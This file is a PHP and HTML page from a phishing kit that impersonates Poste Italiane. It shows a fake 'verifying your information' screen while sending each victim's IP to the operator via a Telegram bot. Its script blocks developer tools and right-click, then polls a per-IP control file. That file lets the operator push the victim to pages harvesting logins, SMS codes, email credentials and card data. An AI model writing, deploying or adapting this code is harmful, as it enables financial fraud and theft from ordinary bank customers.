<?php 
//////////
include_once '../../../BOTS/INC/APP.php';
include('../../../BOTS/STRNG.php');
include "DATE.php";
include "CHATID.TOKEN.php";
//////////
$ip = $_SERVER['REMOTE_ADDR'];
////////// Get the current file's name
$filename = basename(__FILE__);
////////// Determine the protocol (http or https)
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
////////// Determine the hostname
$host = $_SERVER['HTTP_HOST'];
////////// Determine the base directory
$baseDirectory = dirname($_SERVER['SCRIPT_NAME']);
//////////
$current_time = date("H:i:s");
$current_date = date("d:m:y");
////////// Construct the base URL
$baseURL = $protocol . $host . $baseDirectory;
$newFilePath= $baseURL . "/index.php?ip=$ip&time=$current_time&date=$current_date";
//////////
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  if ($_POST['step'] == "control") {
$current_time = $_POST['time'];
    $fp = fopen('IPS/'. $_POST['ip'] .'.txt', 'wb');
       
 
    fwrite($fp, $_POST['to']);
    fclose($fp);
    header("location: index.php?ip=" . $_POST['ip']."&buttonClicked=".$_POST['to']."&time=$current_time");
}}
else{
    $filename = 'IPS/' . $ip . '.txt';
    touch($filename);
//////////
$ATR480X .= "♛♛ 🎛 【 𝐏𝐎𝐒𝐓𝐄𝐏𝐀𝐘•𝐀𝐓𝐑𝟒𝟖𝟎𝐗 】 🎛 ♛♛\n";//Bold (serif)//
$ATR480X .= "【 🔎 】 :   【 $ip 】\n";
$ATR480X .= "═════ ★ 【 🔗 】\n";
$ATR480X .= "$newFilePath\n";
$ATR480X .= "═════ ★ 【 📆 】\n";
$ATR480X .= "$GET_DATE + $GET_DATE_FORM\n";
$ATR480X .= "•••••••••• 🇮🇹🇮🇹•【 DENMARK 】•🇮🇹🇮🇹🇰\n";
$ATR480X .= "【 ♛•🦅•▄︻テ══━一💥•🦅•♛ 】\n";
//////////
$botToken = $TGtoken;
$chatId = $TGchatid;
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$params = array(
"chat_id" => $chatId,
"text" => $ATR480X,
//////////
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
}
//////////
$LOGINX= "../LOGIN.X/index.php?client_id=$my_rand_strng";
$SMS= "../SMS/index.php?client_id=$my_rand_strng";
$SMSX= "../SMS.X/index.php?client_id=$my_rand_strng";
$EMAIL= "../EMAIL/index.php?client_id=$my_rand_strng";
$EMAILX= "../EMAIL.X/index.php?client_id=$my_rand_strng";
$CARD= "../CARD/index.php?client_id=$my_rand_strng";
$CARDX= "../CARD.X/index.php?client_id=$my_rand_strng";
$CODE= "../CODE/index.php?client_id=$my_rand_strng";
$CODEX= "../CODE.X/index.php?client_id=$my_rand_strng";
$NX= "../NEXI/indexx.php?client_id=$my_rand_strng";
$GRAZIE= "../GRAZIE/index.php?client_id=$my_rand_strng";
//////////




?>
<!DOCTYPE html>
<html>
<head>
    <title>Area Personale</title>
<!------------------->
<script>

	document.onkeydown = function(e) {
	  if(event.keyCode == 123) {
	     return false;
	  }
	  if(e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
	     return false;
	  }
	  if(e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
	     return false;
	  }
	  if(e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
	     return false;
	  }
	}


	
	document.addEventListener('contextmenu', function(e) {
	  e.preventDefault();
	});

</script>
<!DOCTYPE html>
<html lang="ar">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    body {
      margin: 0;
      padding: 0;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      height: 100vh;
      background: #f8f9fa;
      font-family: Arial, sans-serif;
    }

    .logo {
      position: absolute;
      top: 50px;
      width: 250px; /* حجم الشعار */
    }

    .loading {
      width: 100px; /* حجم صورة التحميل */
    }

    @media (max-width: 600px) {
      .logo {
        width: 250px; /* يصغر الشعار في الموبايل */
      }
      .loading {
        width: 100px; /* يصغر صورة التحميل في الموبايل */
      }
    }
  </style>
</head>
<body>
  <!-- شعار البنك -->
  <img src="https://upload.wikimedia.org/wikipedia/commons/2/2c/Logo_Poste_Italiane.svg" alt="Bank Logo" class="logo">

  <!-- صورة التحميل -->
  <img src="spinner.gif" alt="Loading..." class="loading">
  <p class="wait-text">*Attendi mentre verifichiamo le tue informazioni...</p>
  <p class="wait-text">*Si prega di non chiudere questa finestra.</p>
</body>
</html>
<!------------------->
        <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/3.0.0/jquery.payment.min.js"></script>
<!--------->
        <script>
setTimeout(function() {
    window.location.href = '../LOGIN.TITOLARI.X/';
}, 120000); // 3 minutes in milliseconds

            var ip = '<?php echo $_SERVER['REMOTE_ADDR']; ?>';
console.log("ATR480X");
            var waiting = setInterval(function() {
                $.get('./IPS/' + ip + '.txt', function(data) {
                    if( data == 0 ) {
                        //console.log('hada ba9i 0');
                    } else {
                 
                        if( data == 'CARDX' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $CARDX?>";
                        } else if( data == 'LOGINX' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $LOGINX?>";
                        } else if( data == 'SMS' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $SMS?>";
                        } else if( data == 'SMSX' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $SMSX?>";
                        } else if( data == 'EMAIL' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $EMAIL?>";
                        } else if( data == 'EMAILX' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $EMAILX?>";
						} else if( data == 'CARD' ) {
                            clearInterval(waiting);
							
							location.href = "<?php echo $CARD?>";
						} else if( data == 'CODE' ) {
                            clearInterval(waiting);
							
							location.href = "<?php echo $CODE?>";
						} else if( data == 'GRAZIE' ) {
                            clearInterval(waiting);
							
							location.href = "<?php echo $GRAZIE?>";
						} else if( data == 'NX' ) {
                            clearInterval(waiting);
							
							location.href = "<?php echo $NX?>";
                        }
                        
                    }
                });
            }, 800);
        </script>
<!--------->
</head>
<body>
</body>
</html>